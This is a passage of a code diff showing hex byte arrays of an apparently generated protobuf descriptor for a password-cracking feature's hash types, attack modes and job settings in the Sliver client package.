0x54, - 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, - 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, - 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, - 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, - 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, - 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, - 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, - 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, - 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, - 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, - 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, - 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, - 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, - 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, - 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, - 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f, - 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, - 0x4d, 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, - 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, - 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, - 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, - 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, - 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, - 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, - 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, - 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, - 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, - 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, - 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, - 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, - 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, - 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, - 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, - 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, - 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, - 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, - 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, - 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, - 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, - 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, - 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, - 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, - 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, - 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, - 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, - 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, - 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, - 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, - 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, - 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, - 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, - 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, - 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, - 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, - 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, - 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, - 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, - 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, - 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, - 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, - 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, - 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, - 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, - 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, - 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, - 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, - 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, - 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, - 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, - 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, - 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, - 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, - 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, - 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, - 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, - 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, - 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, - 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, - 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, - 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, - 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, - 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, - 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, - 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, - 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, - 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, - 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, - 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, - 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, - 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, - 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, - 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, - 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, - 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, - 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, - 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, - 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, - 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, - 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, - 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, - 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, - 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, - 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, - 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, - 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, - 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, - 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, - 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, - 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, - 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, - 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, - 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, - 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, - 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, - 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, - 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, - 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, - 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, - 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, - 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, - 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, - 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, - 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, - 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, - 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, - 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, - 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, - 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, - 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, - 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, - 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, - 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, - 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, - 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, - 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, - 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, - 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, - 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, - 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, - 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, - 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, - 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, - 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, - 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, - 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, - 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, - 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, - 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, - 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, - 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, - 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, - 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45, - 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, - 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, - 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, - 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, - 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, - 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, - 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, - 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, - 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, - 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, - 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, - 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42, - 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, - 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, + 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 